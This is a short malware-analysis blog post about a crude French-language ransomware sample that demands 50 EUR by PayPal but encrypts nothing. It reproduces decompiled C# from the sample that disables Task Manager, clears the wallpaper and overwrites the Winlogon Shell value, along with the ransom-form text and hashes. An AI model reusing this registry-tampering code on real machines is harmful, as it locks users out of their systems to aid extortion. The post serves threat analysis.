Funny Paypal Ransomware
- 3 minsToday i wanna talk about a funny paypal ransomware that @malwarehunterteam on twitter found
MD5: 21558297004d9fa927bb720a0af8836c
A basic knowledge about the sample
Moreover it looks like this but it does not encrypts
anything. Just set some reg keys:
RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
registryKey.SetValue("DisableTaskMgr", 1, RegistryValueKind.String);
RegistryKey registryKey2 = Registry.CurrentUser.CreateSubKey("Control Panel\\Desktop");
registryKey2.SetValue("Wallpaper", "", RegistryValueKind.String);
RegistryKey registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
registryKey3.SetValue("Shell", "empty", RegistryValueKind.String);
Moreover they have shown much creativity in writing ransom note as it’s not a text file, moreover a interactive form
this.groupBox1.Text = "Rançon";
this.label8.AutoSize = true;
this.label8.Location = new Point(21, 191);
this.label8.Name = "label8";
this.label8.Size = new Size(166, 25);
this.label8.TabIndex = 4;
this.label8.Text = "Il Reste 30min...";
this.label7.AutoSize = true;
this.label7.Location = new Point(21, 149);
this.label7.Name = "label7";
this.label7.Size = new Size(650, 25);
this.label7.TabIndex = 3;
this.label7.Text = "Si le Payement n'est pas reçu nous effacerons toutes vos données";
this.label5.AutoSize = true;
this.label5.Location = new Point(21, 113);
this.label5.Name = "label5";
this.label5.Size = new Size(674, 25);
this.label5.TabIndex = 2;
this.label5.Text = "Une Fois que les 50 EUR Paypal sont envoyers nous vous libereront.";
this.label4.AutoSize = true;
this.label4.Location = new Point(21, 76);
this.label4.Name = "label4";
this.label4.Size = new Size(584, 25);
this.label4.TabIndex = 1;
this.label4.Text = "50 EUR PayPal Pour que la rançon se supprime de votre pc";
Paypal link where they asked to pay
[Paypal link: https://www.paypal.com/paypalme/AbsoDev]
Clicking the button redirects to paypal site
private void button1_Click(object sender, EventArgs e)
{
Process.Start("https://www.paypal.com/paypalme/AbsoDev");
}
Moreover timer is also just a text embed
this.label6.Text = "2j 23h 59min...";
These are all, for the r2l2 ransomware.
Some things about sample
MD5: 21558297004d9fa927bb720a0af8836c SHA256: f6bc8adf88d2fd6d124683176c4b3208ee9d47904482e40e323851ee2d67dfcb
It is 32bit .NET file
Three sections
- .text
- .rsrc
- .reloc
[Note: If anyone have issue with the digest or blogs ping me up on twitter :), i will take it down]